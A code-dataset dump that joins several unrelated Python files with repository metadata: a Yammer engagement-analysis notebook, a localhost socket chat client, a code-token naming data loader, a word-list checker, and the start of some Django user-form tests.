mean that users don't have to visit the site directly as much. # - Are users disengaging from the site due to too many emails/notifications? # - I calculated a rolling 7-day count of emails sent to each user and found that the number of emails sent to each user per 7-day period has increased from 5.4 emails (July 20) to 7.75 emails (August 11). This suggests that an increasing volume of emails sent to individual users could have driven them away from using the site. To investigate this further I would want to look into email unsubscribe rates. If unsubscribe rates have also gone up, then it seems that Yammer is sending too many emails to its users. # - To investigate whether the number of emails sent per user is correlated with the number of engaged users, I used a Granger causality test to see if "emails sent per user" could be used to predict "number of engaged users". With a high enough lag, the test statistics might be starting to become significant, but I would want to investigate these test results further before making any recommendations based on them. # - Is the drop in engagement due to a decrease in new activated users? e.g. they are reaching the end of potential customer base? # - I calculated the cumulative number of newly activated users over time, using the activation time for each user in the users table. I wanted to see if customer growth had leveled off. However, I saw that customer growth was still increasing in the same pattern. This was true when using creating date rather than activation date as well. # What is my recommendation to Yammer? # I have a few recommendations to Yammer: # - Try decreasing the number of emails sent to each individual user to see if this increases engagement. They could try this for a subset of users first. # - Investigate email unsubscribe rates to see if they are going up. This would indicate that increased email volume might be making users unhappy. # - Compare this data to a wider time range to see if the drop shown here is seasonal. # + import matplotlib.pyplot as plt import numpy as np import os import plotly.express as px import pandas as pd from scipy import stats from statsmodels.tsa.stattools import acf, pacf from statsmodels.graphics.tsaplots import plot_acf, plot_pacf from statsmodels.tsa.stattools import grangercausalitytests # - data_dir = '/Users/leslie/devel/insight-data-challenges/02-customer-cliff-dive/data' benn_normal = pd.read_csv(os.path.join(data_dir, 'benn.normal_distribution - benn.normal_distribution.csv.tsv'), sep='\t') rollup_periods = pd.read_csv(os.path.join(data_dir, 'dimension_rollup_periods - dimension_rollup_periods.csv.tsv'), sep='\t', parse_dates=['time_id', 'pst_start', 'pst_end', 'utc_start', 'utc_end']) yammer_emails = pd.read_csv(os.path.join(data_dir, 'yammer_emails - yammer_emails.csv.tsv'), sep='\t', parse_dates=['occurred_at']) yammer_events = pd.read_csv(os.path.join(data_dir, 'yammer_events - yammer_events.csv.tsv'), sep='\t', parse_dates=['occurred_at']) yammer_experiments = pd.read_csv(os.path.join(data_dir, 'yammer_experiments - yammer_experiments.csv.tsv'), sep='\t', parse_dates=['occurred_at']) yammer_users = pd.read_csv(os.path.join(data_dir, 'yammer_users - yammer_users.csv.tsv'), sep='\t', parse_dates=['created_at', 'activated_at']) # + benn_normal.info() benn_normal.head() benn_normal.describe() rollup_periods.info() rollup_periods.head() rollup_periods.describe() yammer_emails.info() yammer_emails.head() yammer_emails.describe() yammer_emails['action'].value_counts(dropna=False) yammer_emails['user_type'].value_counts(dropna=False) yammer_events.info() yammer_events.head() yammer_events.describe() yammer_events['occurred_at'] yammer_events['event_type'].value_counts(dropna=False) yammer_events['event_name'].value_counts(dropna=False) yammer_events['location'].value_counts(dropna=False) yammer_events['device'].value_counts(dropna=False) yammer_events['user_type'].value_counts(dropna=False) yammer_events['user_type'].dtype # user_type should be an int, but has many missing values, and NaN is a float. # So convert it to the Pandas Int64 dtype which can accommodate NaNs and ints. yammer_events = yammer_events.astype({'user_type': 'Int64'}) yammer_experiments.info() yammer_experiments.head() yammer_experiments.describe() yammer_experiments['experiment'].value_counts(dropna=False) yammer_experiments['experiment_group'].value_counts(dropna=False) yammer_experiments['location'].value_counts(dropna=False) yammer_experiments['device'].value_counts(dropna=False) yammer_users.info() yammer_users.head() yammer_users.describe() yammer_users['language'].value_counts(dropna=False) yammer_users['state'].value_counts(dropna=False) yammer_users['company_id'].value_counts(dropna=False) # - # ## Initial data investigation # + # How many days in the dataset? yammer_events['occurred_at'].max() - yammer_events['occurred_at'].min() # 122 days! rollup_periods['pst_start'].max() - rollup_periods['pst_end'].min() # 1094 days - way more intervals than needed to tile this events data! yammer_events = yammer_events.sort_values(by='occurred_at', ascending=True) small_events = yammer_events.head(int(yammer_events.shape[0]/10)).sample(n=40) small_events = small_events.sort_values(by='occurred_at', ascending=True) small_events['occurred_at'].max() - small_events['occurred_at'].min() weekly_rollup_periods = rollup_periods.loc[rollup_periods['period_id'] == 1007] # - # + small_rolling_engagement = small_events.loc[small_events['event_type'] == 'engagement'].rolling( '7D', on='occurred_at').count() # I'm not sure whether rollup_periods are closed on right, left, or both... # Calculate counts of engagement events in a 7-day rolling window rolling_engagement_counts = yammer_events.loc[yammer_events['event_type'] == 'engagement'].sort_values( by='occurred_at', ascending=True # Have to sort by "on" column to use rolling() ).rolling('7D', on='occurred_at', min_periods=1).count() # + # Use a loop to aggregate on rollup periods yammer_events['event_name'].unique() event_range = [min(yammer_events['occurred_at']), max(yammer_events['occurred_at'])] covered_weekly_rollup_periods = weekly_rollup_periods.loc[(weekly_rollup_periods['pst_end'] <= event_range[1]) & (weekly_rollup_periods['pst_start'] >= event_range[0])] # in interval --> start < occurred_at <= end counts_by_type = None for (ridx, row) in covered_weekly_rollup_periods.iterrows(): # row = covered_weekly_rollup_periods.iloc[0] # Get egagement events within the period df = yammer_events.loc[(yammer_events['occurred_at'] > row['pst_start']) & (yammer_events['occurred_at'] <= row['pst_end']) & (yammer_events['event_type'] == 'engagement')] # Count user engagement events cbt = df.groupby('event_name').aggregate(event_count=('user_id', 'count')).transpose() cbt['pst_start'] = row['pst_start'] cbt['pst_end'] = row['pst_end'] cbt['engaged_users'] = df['user_id'].nunique() cbt['engagement_event_count'] = df.shape[0] if counts_by_type is None: counts_by_type = cbt else: counts_by_type = counts_by_type.append(cbt) counts_by_type # + # Plot engaged users over time fig = px.scatter(counts_by_type, x='pst_end', y='engaged_users', template='plotly_white') fig.update_yaxes(range=[0, 1500]) fig.show() # Plot count of engagement_events over time fig = px.scatter(counts_by_type, x='pst_end', y='engagement_event_count', template='plotly_white') fig.show() # Plot count of individual event types over time counts_melted = counts_by_type.melt(id_vars=['pst_start', 'pst_end', 'engaged_users', 'engagement_event_count']) fig = px.scatter(counts_melted, x='pst_end', y='value', template='plotly_white', facet_col='event_name', facet_col_wrap=3, height=1200) fig.update_yaxes(matches=None) fig.show() # - # Are there any "experiments" messing things up? yammer_experiments['occurred_at'].describe() # No, these are all before the issue shows up # + # Investigate the sending of emails to user in the same rollup periods email_counts_by_type = None for (ridx, row) in covered_weekly_rollup_periods.iterrows(): # row = covered_weekly_rollup_periods.iloc[0] # Get egagement events within the period df = yammer_emails.loc[(yammer_events['occurred_at'] > row['pst_start']) & (yammer_events['occurred_at'] <= row['pst_end'])] # Count user engagement events cbt = df.groupby('action').aggregate(action_count=('user_id', 'count')).transpose() cbt['pst_start'] = row['pst_start'] cbt['pst_end'] = row['pst_end'] cbt['emailed_users'] = df['user_id'].nunique() cbt['email_event_count'] = df.shape[0] cbt['emails_sent_per_user'] = df.loc[df['action'].str.startswith('sent_')].groupby( 'user_id').count().mean()['user_type'] if email_counts_by_type is None: email_counts_by_type = cbt else: email_counts_by_type = email_counts_by_type.append(cbt) email_counts_by_type # + # Plot emailed users over time fig = px.scatter(email_counts_by_type, x='pst_end', y='emailed_users', template='plotly_white') fig.update_yaxes(range=[0, 1500]) fig.show() # Plot count of email events over time fig = px.scatter(email_counts_by_type, x='pst_end', y='email_event_count', template='plotly_white') fig.show() # Plot count of individual email types over time email_counts_melted = email_counts_by_type.melt(id_vars=[ 'pst_start', 'pst_end', 'emailed_users', 'email_event_count', 'emails_sent_per_user']) fig = px.scatter(email_counts_melted, x='pst_end', y='value', template='plotly_white', facet_col='action', facet_col_wrap=2) fig.update_yaxes(matches=None) fig.show() # - # + # What is email engagement event count per user? Did that increase? # + fig = px.scatter(email_counts_by_type, x='pst_start', y='emails_sent_per_user', template='plotly_white') fig.show() p, r = stats.pearsonr(email_counts_by_type['emails_sent_per_user'].to_numpy(), counts_by_type['engaged_users'].to_numpy()) # They do look moderately correlated, but how do I test that one has an effect on the other? # - acf_50 = acf(counts_by_type['engaged_users'], nlags=50, fft=True) pacf_50 = pacf(counts_by_type['engaged_users'], nlags=50) fig, axes = plt.subplots(1, 2, figsize=(16, 3), dpi=200) plot_acf(counts_by_type['engaged_users'].tolist(), lags=50, ax=axes[0]) plot_pacf(counts_by_type['engaged_users'].tolist(), lags=50, ax=axes[1]) plt.show() test_df = pd.DataFrame({'emails_sent_per_user': email_counts_by_type['emails_sent_per_user'].to_numpy(), 'engaged_users': counts_by_type['engaged_users'].to_numpy()}) lags = range(20) caus_test = grangercausalitytests(test_df, maxlag=lags) # Has there been a dropoff in new users? # + yammer_users = yammer_users.sort_values(by='created_at', ascending=True) yammer_users['cumulative_users'] = pd.Series(np.ones(yammer_users.shape[0]).cumsum()) fig = px.scatter(yammer_users, x='created_at', y='cumulative_users', template='plotly_white') fig.show() # Nope, growth is still practicially exponenital yammer_users['cumulative_activated_users'] = pd.Series(np.ones(yammer_users.shape[0]).cumsum()) fig = px.scatter(yammer_users, x='created_at', y='cumulative_activated_users', template='plotly_white') fig.show() yammer_users['company_id'].nunique() # -

51.963235

524

0.743809

0

8,119

0.57443

a82ba74fc6af916b17675886faaf3aad6278c7c2

796

py

Python

students/K33402/laboratory_works/Ermakova_Anna/laboratory_work_1/task_4/client.py

ShubhamKunal/ITMO_ICT_WebDevelopment_2020-2021

bb91c91a56d21cec2b12ae4cc722eaa652a88420

[ "MIT" ]

4

2020-09-03T15:41:42.000Z

2021-12-24T15:28:20.000Z

students/K33402/laboratory_works/Ermakova_Anna/laboratory_work_1/task_4/client.py

ShubhamKunal/ITMO_ICT_WebDevelopment_2020-2021

bb91c91a56d21cec2b12ae4cc722eaa652a88420

[ "MIT" ]

48

2020-09-13T20:22:42.000Z

2021-04-30T11:13:30.000Z

students/K33402/laboratory_works/Ermakova_Anna/laboratory_work_1/task_4/client.py

ShubhamKunal/ITMO_ICT_WebDevelopment_2020-2021

bb91c91a56d21cec2b12ae4cc722eaa652a88420

[ "MIT" ]

69

2020-09-06T10:32:37.000Z

2021-11-28T18:13:17.000Z

import socket import threading import random def send_message(): try: while True: msg = input() sock.send(bytes(name + ": " + msg, 'utf-8')) if msg == '\leave chat': sock.close() break except Exception: pass finally: print('You left chat.') def receive_message(): try: while True: data = sock.recv(1024).decode('utf-8') if not data: break print(data) sock.close() except Exception: pass sock = socket.socket() sock.connect(('localhost', 9090)) number = random.randint(0,1000) name = "person" + str(number) threading.Thread(target=send_message).start() threading.Thread(target=receive_message).start()

20.410256

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a82c200cd117a48cc9a2ebacd146f50b56baabcf

23,587

py

Python

convolutional_attention/token_naming_data.py

s1530129650/convolutional-attention

8839da8146962879bb419a61253e7cf1b684fb22

[ "BSD-3-Clause" ]

128

2016-05-10T01:38:27.000Z

2022-02-04T07:14:12.000Z

convolutional_attention/token_naming_data.py

s1530129650/convolutional-attention

8839da8146962879bb419a61253e7cf1b684fb22

[ "BSD-3-Clause" ]

6

2016-07-19T09:27:47.000Z

2021-07-08T21:22:32.000Z

convolutional_attention/token_naming_data.py

s1530129650/convolutional-attention

8839da8146962879bb419a61253e7cf1b684fb22

[ "BSD-3-Clause" ]

36

2016-05-11T08:57:26.000Z

2021-07-07T02:37:07.000Z

from collections import defaultdict import heapq from itertools import chain, repeat from feature_dict import FeatureDictionary import json import numpy as np import scipy.sparse as sp class TokenCodeNamingData: SUBTOKEN_START = "%START%" SUBTOKEN_END = "%END%" NONE = "%NONE%" @staticmethod def __get_file_data(input_file): with open(input_file, 'r') as f: data = json.load(f) # data=[{"tokens":"hello world I am OK".split(),"name":"hello world you".split()}]*4 # data+=[{"tokens":"just another test of a silly program".split(),"name":"who knows".split()}]*4 names = [] original_names = [] code = [] for entry in data: # skip entries with no relevant data (this will crash the code) if len(entry["tokens"]) == 0 or len(entry["name"]) == 0: continue code.append(TokenCodeNamingData.remove_identifiers_markers(entry["tokens"])) original_names.append(",".join(entry["name"])) subtokens = entry["name"] names.append([TokenCodeNamingData.SUBTOKEN_START] + subtokens + [TokenCodeNamingData.SUBTOKEN_END]) return names, code, original_names def __init__(self, names, code): self.name_dictionary = FeatureDictionary.get_feature_dictionary_for(chain.from_iterable(names), 2) self.name_dictionary.add_or_get_id(self.NONE) self.all_tokens_dictionary = FeatureDictionary.get_feature_dictionary_for(chain.from_iterable( [chain.from_iterable(code), chain.from_iterable(names)]), 5) self.all_tokens_dictionary.add_or_get_id(self.NONE) self.name_empirical_dist = self.__get_empirical_distribution(self.all_tokens_dictionary, chain.from_iterable(names)) @staticmethod def __get_empirical_distribution(element_dict, elements, dirichlet_alpha=10.): """ Retrive te empirical distribution of tokens :param element_dict: a dictionary that can convert the elements to their respective ids. :param elements: an iterable of all the elements :return: """ targets = np.array([element_dict.get_id_or_unk(t) for t in elements]) empirical_distribution = np.bincount(targets, minlength=len(element_dict)).astype(float) empirical_distribution += dirichlet_alpha / len(empirical_distribution) return empirical_distribution / (np.sum(empirical_distribution) + dirichlet_alpha) def __get_in_lbl_format(self, data, dictionary, cx_size): targets = [] contexts = [] ids = [] for i, sequence in enumerate(data): for j in xrange(1, len(sequence)): # First element should always be predictable (ie sentence start) ids.append(i) targets.append(dictionary.get_id_or_unk(sequence[j])) context = sequence[:j] if len(context) < cx_size: context = [self.NONE] * (cx_size - len(context)) + context else: context = context[-cx_size:] assert len(context) == cx_size, (len(context), cx_size,) contexts.append([dictionary.get_id_or_unk(t) for t in context]) return np.array(targets, dtype=np.int32), np.array(contexts, dtype=np.int32), np.array(ids, np.int32) def get_data_in_lbl_format(self, input_file, code_cx_size, names_cx_size): names, code, original_names = self.__get_file_data(input_file) return self.__get_in_lbl_format(names, self.name_dictionary, names_cx_size), \ self.__get_in_lbl_format(code, self.all_tokens_dictionary, code_cx_size), original_names @staticmethod def get_data_in_lbl_format_with_validation(input_file, code_cx_size, names_cx_size, pct_train): assert pct_train < 1 assert pct_train > 0 names, code, original_names = TokenCodeNamingData.__get_file_data(input_file) names = np.array(names, dtype=np.object) code = np.array(code, dtype=np.object) original_names = np.array(original_names, dtype=np.object) lim = int(pct_train * len(names)) naming = TokenCodeNamingData(names[:lim], code[:lim]) return naming.__get_in_lbl_format(names[:lim], naming.name_dictionary, names_cx_size), \ naming.__get_in_lbl_format(code[:lim], naming.all_tokens_dictionary, code_cx_size), original_names[:lim], \ naming.__get_in_lbl_format(names[lim:], naming.name_dictionary, names_cx_size), \ naming.__get_in_lbl_format(code[lim:], naming.all_tokens_dictionary, code_cx_size), original_names[lim:], naming @staticmethod def get_data_in_forward_format_with_validation(input_file, names_cx_size, pct_train): assert pct_train < 1 assert pct_train > 0 names, code, original_names = TokenCodeNamingData.__get_file_data(input_file) names = np.array(names, dtype=np.object) code = np.array(code, dtype=np.object) original_names = np.array(original_names, dtype=np.object) lim = int(pct_train * len(names)) naming = TokenCodeNamingData(names[:lim], code[:lim]) return naming.__get_data_in_forward_format(names[:lim], code[:lim], names_cx_size),\ naming.__get_data_in_forward_format(names[lim:], code[lim:], names_cx_size), naming def get_data_in_forward_format(self, input_file, name_cx_size): names, code, original_names = self.__get_file_data(input_file) return self.__get_data_in_forward_format(names, code, name_cx_size), original_names def __get_data_in_forward_format(self, names, code, name_cx_size): """ Get the data in a "forward" model format. :param data: :param name_cx_size: :return: """ assert len(names) == len(code), (len(names), len(code), code.shape) # Keep only identifiers in code #code = self.keep_identifiers_only(code) name_targets = [] name_contexts = [] original_names_ids = [] id_xs = [] id_ys = [] k = 0 for i, name in enumerate(names): for j in xrange(1, len(name)): # First element should always be predictable (ie sentence start) name_targets.append(self.name_dictionary.get_id_or_unk(name[j])) original_names_ids.append(i) context = name[:j] if len(context) < name_cx_size: context = [self.NONE] * (name_cx_size - len(context)) + context else: context = context[-name_cx_size:] assert len(context) == name_cx_size, (len(context), name_cx_size,) name_contexts.append([self.name_dictionary.get_id_or_unk(t) for t in context]) for code_token in set(code[i]): token_id = self.all_tokens_dictionary.get_id_or_none(code_token) if token_id is not None: id_xs.append(k) id_ys.append(token_id) k += 1 code_features = sp.csr_matrix((np.ones(len(id_xs)), (id_xs, id_ys)), shape=(k, len(self.all_tokens_dictionary)), dtype=np.int32) name_targets = np.array(name_targets, dtype=np.int32) name_contexts = np.array(name_contexts, dtype=np.int32) original_names_ids = np.array(original_names_ids, dtype=np.int32) return name_targets, name_contexts, code_features, original_names_ids @staticmethod def keep_identifiers_only(self, code): filtered_code = [] for tokens in code: identifier_tokens = [] in_id = False for t in tokens: if t == "<id>": in_id = True elif t == '</id>': in_id = False elif in_id: identifier_tokens.append(t) filtered_code.append(identifier_tokens) return filtered_code @staticmethod def remove_identifiers_markers(code): return filter(lambda t: t != "<id>" and t != "</id>", code) def get_data_in_convolution_format(self, input_file, name_cx_size, min_code_size): names, code, original_names = self.__get_file_data(input_file) return self.get_data_for_convolution(names, code, name_cx_size, min_code_size), original_names def get_data_in_copy_convolution_format(self, input_file, name_cx_size, min_code_size): names, code, original_names = self.__get_file_data(input_file) return self.get_data_for_copy_convolution(names, code, name_cx_size, min_code_size), original_names def get_data_in_recurrent_convolution_format(self, input_file, min_code_size): names, code, original_names = self.__get_file_data(input_file) return self.get_data_for_recurrent_convolution(names, code, min_code_size), original_names def get_data_in_recurrent_copy_convolution_format(self, input_file, min_code_size): names, code, original_names = self.__get_file_data(input_file) return self.get_data_for_recurrent_copy_convolution(names, code, min_code_size), original_names def get_data_for_convolution(self, names, code, name_cx_size, sentence_padding): assert len(names) == len(code), (len(names), len(code), code.shape) name_targets = [] name_contexts = [] original_names_ids = [] code_sentences = [] padding = [self.all_tokens_dictionary.get_id_or_unk(self.NONE)] for i, name in enumerate(names): code_sentence = [self.all_tokens_dictionary.get_id_or_unk(t) for t in code[i]] if sentence_padding % 2 == 0: code_sentence = padding * (sentence_padding / 2) + code_sentence + padding * (sentence_padding / 2) else: code_sentence = padding * (sentence_padding / 2 + 1) + code_sentence + padding * (sentence_padding / 2) for j in xrange(1, len(name)): # First element should always be predictable (ie sentence start) name_targets.append(self.all_tokens_dictionary.get_id_or_unk(name[j])) original_names_ids.append(i) context = name[:j] if len(context) < name_cx_size: context = [self.NONE] * (name_cx_size - len(context)) + context else: context = context[-name_cx_size:] assert len(context) == name_cx_size, (len(context), name_cx_size,) name_contexts.append([self.name_dictionary.get_id_or_unk(t) for t in context]) code_sentences.append(np.array(code_sentence, dtype=np.int32)) name_targets = np.array(name_targets, dtype=np.int32) name_contexts = np.array(name_contexts, dtype=np.int32) code_sentences = np.array(code_sentences, dtype=np.object) original_names_ids = np.array(original_names_ids, dtype=np.int32) return name_targets, name_contexts, code_sentences, original_names_ids def get_data_for_recurrent_convolution(self, names, code, sentence_padding): assert len(names) == len(code), (len(names), len(code), code.shape) name_targets = [] code_sentences = [] padding = [self.all_tokens_dictionary.get_id_or_unk(self.NONE)] for i, name in enumerate(names): code_sentence = [self.all_tokens_dictionary.get_id_or_unk(t) for t in code[i]] if sentence_padding % 2 == 0: code_sentence = padding * (sentence_padding / 2) + code_sentence + padding * (sentence_padding / 2) else: code_sentence = padding * (sentence_padding / 2 + 1) + code_sentence + padding * (sentence_padding / 2) name_tokens = [self.all_tokens_dictionary.get_id_or_unk(t) for t in name] name_targets.append(np.array(name_tokens, dtype=np.int32)) code_sentences.append(np.array(code_sentence, dtype=np.int32)) name_targets = np.array(name_targets, dtype=np.object) code_sentences = np.array(code_sentences, dtype=np.object) return name_targets, code_sentences def get_data_for_recurrent_copy_convolution(self, names, code, sentence_padding): assert len(names) == len(code), (len(names), len(code), code.shape) name_targets = [] target_is_unk = [] copy_vectors = [] code_sentences = [] padding = [self.all_tokens_dictionary.get_id_or_unk(self.NONE)] for i, name in enumerate(names): code_sentence = [self.all_tokens_dictionary.get_id_or_unk(t) for t in code[i]] if sentence_padding % 2 == 0: code_sentence = padding * (sentence_padding / 2) + code_sentence + padding * (sentence_padding / 2) else: code_sentence = padding * (sentence_padding / 2 + 1) + code_sentence + padding * (sentence_padding / 2) name_tokens = [self.all_tokens_dictionary.get_id_or_unk(t) for t in name] unk_tokens = [self.all_tokens_dictionary.is_unk(t) for t in name] target_can_be_copied = [[t == subtok for t in code[i]] for subtok in name] name_targets.append(np.array(name_tokens, dtype=np.int32)) target_is_unk.append(np.array(unk_tokens, dtype=np.int32)) copy_vectors.append(np.array(target_can_be_copied, dtype=np.int32)) code_sentences.append(np.array(code_sentence, dtype=np.int32)) name_targets = np.array(name_targets, dtype=np.object) code_sentences = np.array(code_sentences, dtype=np.object) code = np.array(code, dtype=np.object) target_is_unk = np.array(target_is_unk, dtype=np.object) copy_vectors = np.array(copy_vectors, dtype=np.object) return name_targets, code_sentences, code, target_is_unk, copy_vectors @staticmethod def get_data_in_recurrent_convolution_format_with_validation(input_file, pct_train, min_code_size): assert pct_train < 1 assert pct_train > 0 names, code, original_names = TokenCodeNamingData.__get_file_data(input_file) names = np.array(names, dtype=np.object) code = np.array(code, dtype=np.object) lim = int(pct_train * len(names)) idxs = np.arange(len(names)) np.random.shuffle(idxs) naming = TokenCodeNamingData(names[idxs[:lim]], code[idxs[:lim]]) return naming.get_data_for_recurrent_convolution(names[idxs[:lim]], code[idxs[:lim]], min_code_size),\ naming.get_data_for_recurrent_convolution(names[idxs[lim:]], code[idxs[lim:]], min_code_size), naming @staticmethod def get_data_in_recurrent_copy_convolution_format_with_validation(input_file, pct_train, min_code_size): assert pct_train < 1 assert pct_train > 0 names, code, original_names = TokenCodeNamingData.__get_file_data(input_file) names = np.array(names, dtype=np.object) code = np.array(code, dtype=np.object) lim = int(pct_train * len(names)) idxs = np.arange(len(names)) np.random.shuffle(idxs) naming = TokenCodeNamingData(names[idxs[:lim]], code[idxs[:lim]]) return naming.get_data_for_recurrent_copy_convolution(names[idxs[:lim]], code[idxs[:lim]], min_code_size),\ naming.get_data_for_recurrent_copy_convolution(names[idxs[lim:]], code[idxs[lim:]], min_code_size), naming @staticmethod def get_data_in_convolution_format_with_validation(input_file, names_cx_size, pct_train, min_code_size): assert pct_train < 1 assert pct_train > 0 names, code, original_names = TokenCodeNamingData.__get_file_data(input_file) names = np.array(names, dtype=np.object) code = np.array(code, dtype=np.object) lim = int(pct_train * len(names)) idxs = np.arange(len(names)) np.random.shuffle(idxs) naming = TokenCodeNamingData(names[idxs[:lim]], code[idxs[:lim]]) return naming.get_data_for_convolution(names[idxs[:lim]], code[idxs[:lim]], names_cx_size, min_code_size),\ naming.get_data_for_convolution(names[idxs[lim:]], code[idxs[lim:]], names_cx_size, min_code_size), naming @staticmethod def get_data_in_copy_convolution_format_with_validation(input_file, names_cx_size, pct_train, min_code_size): assert pct_train < 1 assert pct_train > 0 names, code, original_names = TokenCodeNamingData.__get_file_data(input_file) names = np.array(names, dtype=np.object) code = np.array(code, dtype=np.object) lim = int(pct_train * len(names)) idxs = np.arange(len(names)) np.random.shuffle(idxs) naming = TokenCodeNamingData(names[idxs[:lim]], code[idxs[:lim]]) return naming.get_data_for_copy_convolution(names[idxs[:lim]], code[idxs[:lim]], names_cx_size, min_code_size),\ naming.get_data_for_copy_convolution(names[idxs[lim:]], code[idxs[lim:]], names_cx_size, min_code_size), naming def get_data_for_copy_convolution(self, names, code, name_cx_size, sentence_padding): assert len(names) == len(code), (len(names), len(code), code.shape) name_targets = [] original_targets = [] name_contexts = [] original_names_ids = [] code_sentences = [] original_code = [] copy_vector = [] target_is_unk = [] padding = [self.all_tokens_dictionary.get_id_or_unk(self.NONE)] for i, name in enumerate(names): code_sentence = [self.all_tokens_dictionary.get_id_or_unk(t) for t in code[i]] if sentence_padding % 2 == 0: code_sentence = padding * (sentence_padding / 2) + code_sentence + padding * (sentence_padding / 2) else: code_sentence = padding * (sentence_padding / 2 + 1) + code_sentence + padding * (sentence_padding / 2) for j in xrange(1, len(name)): # First element should always be predictable (ie sentence start) name_targets.append(self.all_tokens_dictionary.get_id_or_unk(name[j])) original_targets.append(name[j]) target_is_unk.append(self.all_tokens_dictionary.is_unk(name[j])) original_names_ids.append(i) context = name[:j] if len(context) < name_cx_size: context = [self.NONE] * (name_cx_size - len(context)) + context else: context = context[-name_cx_size:] assert len(context) == name_cx_size, (len(context), name_cx_size,) name_contexts.append([self.name_dictionary.get_id_or_unk(t) for t in context]) code_sentences.append(np.array(code_sentence, dtype=np.int32)) original_code.append(code[i]) tokens_to_be_copied = [t == name[j] for t in code[i]] copy_vector.append(np.array(tokens_to_be_copied, dtype=np.int32)) name_targets = np.array(name_targets, dtype=np.int32) name_contexts = np.array(name_contexts, dtype=np.int32) code_sentences = np.array(code_sentences, dtype=np.object) original_names_ids = np.array(original_names_ids, dtype=np.int32) copy_vector = np.array(copy_vector, dtype=np.object) target_is_unk = np.array(target_is_unk, dtype=np.int32) return name_targets, original_targets, name_contexts, code_sentences, original_code, copy_vector, target_is_unk, original_names_ids def get_suggestions_given_name_prefix(self, next_name_log_probs, name_cx_size, max_predicted_identifier_size=5, max_steps=100): suggestions = defaultdict(lambda: float('-inf')) # A list of tuple of full suggestions (token, prob) # A stack of partial suggestion in the form ([subword1, subword2, ...], logprob) possible_suggestions_stack = [ ([self.NONE] * (name_cx_size - 1) + [self.SUBTOKEN_START], [], 0)] # Keep the max_size_to_keep suggestion scores (sorted in the heap). Prune further exploration if something has already # lower score predictions_probs_heap = [float('-inf')] max_size_to_keep = 15 nsteps = 0 while True: scored_list = [] while len(possible_suggestions_stack) > 0: subword_tokens = possible_suggestions_stack.pop() # If we're done, append to full suggestions if subword_tokens[0][-1] == self.SUBTOKEN_END: final_prediction = tuple(subword_tokens[1][:-1]) if len(final_prediction) == 0: continue log_prob_of_suggestion = np.logaddexp(suggestions[final_prediction], subword_tokens[2]) if log_prob_of_suggestion > predictions_probs_heap[0] and not log_prob_of_suggestion == float('-inf'): # Push only if the score is better than the current minimum and > 0 and remove extraneous entries suggestions[final_prediction] = log_prob_of_suggestion heapq.heappush(predictions_probs_heap, log_prob_of_suggestion) if len(predictions_probs_heap) > max_size_to_keep: heapq.heappop(predictions_probs_heap) continue elif len(subword_tokens[1]) > max_predicted_identifier_size: # Stop recursion here continue # Convert subword context context = [self.name_dictionary.get_id_or_unk(k) for k in subword_tokens[0][-name_cx_size:]] assert len(context) == name_cx_size context = np.array([context], dtype=np.int32) # Predict next subwords target_subword_logprobs = next_name_log_probs(context) def get_possible_options(name_id): # TODO: Handle UNK differently? subword_name = self.all_tokens_dictionary.get_name_for_id(name_id) if subword_name == self.all_tokens_dictionary.get_unk(): subword_name = "***" name = subword_tokens[1] + [subword_name] return subword_tokens[0][1:] + [subword_name], name, target_subword_logprobs[0, name_id] + \ subword_tokens[2] top_indices = np.argsort(-target_subword_logprobs[0]) possible_options = [get_possible_options(top_indices[i]) for i in xrange(max_size_to_keep)] # Disallow suggestions that contain duplicated subtokens. scored_list.extend(filter(lambda x: len(x[1])==1 or x[1][-1] != x[1][-2], possible_options)) # Prune scored_list = filter(lambda suggestion: suggestion[2] >= predictions_probs_heap[0] and suggestion[2] >= float('-inf'), scored_list) scored_list.sort(key=lambda entry: entry[2], reverse=True) # Update possible_suggestions_stack = scored_list[:max_size_to_keep] nsteps += 1 if nsteps >= max_steps: break # Sort and append to predictions suggestions = [(identifier, np.exp(logprob)) for identifier, logprob in suggestions.items()] suggestions.sort(key=lambda entry: entry[1], reverse=True) # print suggestions return suggestions

51.953744

143

0.644338

23,399

0.99203

0

7,055

0.299105

0

1,684

0.071395

a82c44a1683f511d5f99fbda3a6f12bd84f86c4c

550

py

Python

test_word.py

AsherSeiling/Ap-hug-Vocab-database

fbf29a225e81a5807b6ff4e06fbb24e88ce55a6a

[ "MIT" ]

null

test_word.py

AsherSeiling/Ap-hug-Vocab-database

fbf29a225e81a5807b6ff4e06fbb24e88ce55a6a

[ "MIT" ]

1

2021-02-27T06:12:07.000Z

2021-03-01T14:32:39.000Z

test_word.py

AsherSeiling/Ap-hug-Vocab-database

fbf29a225e81a5807b6ff4e06fbb24e88ce55a6a

[ "MIT" ]

1

2021-02-27T06:14:55.000Z

words = open("words.txt", "r") words = [x.rstrip("\n") for x in words.readlines()] refwords = open("referencewords.txt", "r") refwords = [x.strip("\n") for x in refwords.readlines()] def find_word(word): retunrval = False if word.lower() in words: retunrval = True return retunrval words_needed = [] def main(): for items in refwords: buffer = "" for i in items: if i != " ": buffer += i testword = find_word(buffer.lower()) if testword == False: words_needed.append(items.lower()) main() for i in words_needed: print(i)

20.37037

56

0.650909

0

50

0.090909

a82e508670c379c3dbb7d2f2e849d1ec9ed6d7a8

2,736

py

Python

democrasite/users/tests/test_forms.py

mfosterw/cookiestocracy

6912e9e7c3006024d0fbee61dce5c48e63e9e231

[ "MIT" ]

null

democrasite/users/tests/test_forms.py

mfosterw/cookiestocracy

6912e9e7c3006024d0fbee61dce5c48e63e9e231

[ "MIT" ]

9

2021-07-18T17:16:42.000Z

2022-03-31T00:19:14.000Z

democrasite/users/tests/test_forms.py

mfosterw/cookiestocracy

6912e9e7c3006024d0fbee61dce5c48e63e9e231

[ "MIT" ]

null

# pylint: disable=too-few-public-methods,no-self-use from django.utils.crypto import get_random_string from django.utils.translation import gettext_lazy as _ from democrasite.users.forms import ( DisabledChangePasswordForm, DisabledResetPasswordForm, DisabledResetPasswordKeyForm, DisabledSetPasswordForm, UserCreationForm, ) from democrasite.users.models import User class TestUserCreationForm: """ Test class for all tests related to the UserCreationForm """ def test_username_validation_error_msg(self, user: User): """ Tests UserCreation Form's unique validator functions correctly by testing: 1) A new user with an existing username cannot be added. 2) Only 1 error is raised by the UserCreation Form 3) The desired error message is raised """ # The user already exists, # hence cannot be created. form = UserCreationForm( { "username": user.username, "password1": user.password, "password2": user.password, } ) assert not form.is_valid() assert len(form.errors) == 1 assert "username" in form.errors assert form.errors["username"][0] == _("This username has already been taken.") class TestDisabledForms: def test_change_password_form(self, user: User): password = get_random_string(20) form = DisabledChangePasswordForm( data={ "oldpassword": user.password, "password1": password, "password2": password, }, user=user, ) assert not form.is_valid() assert 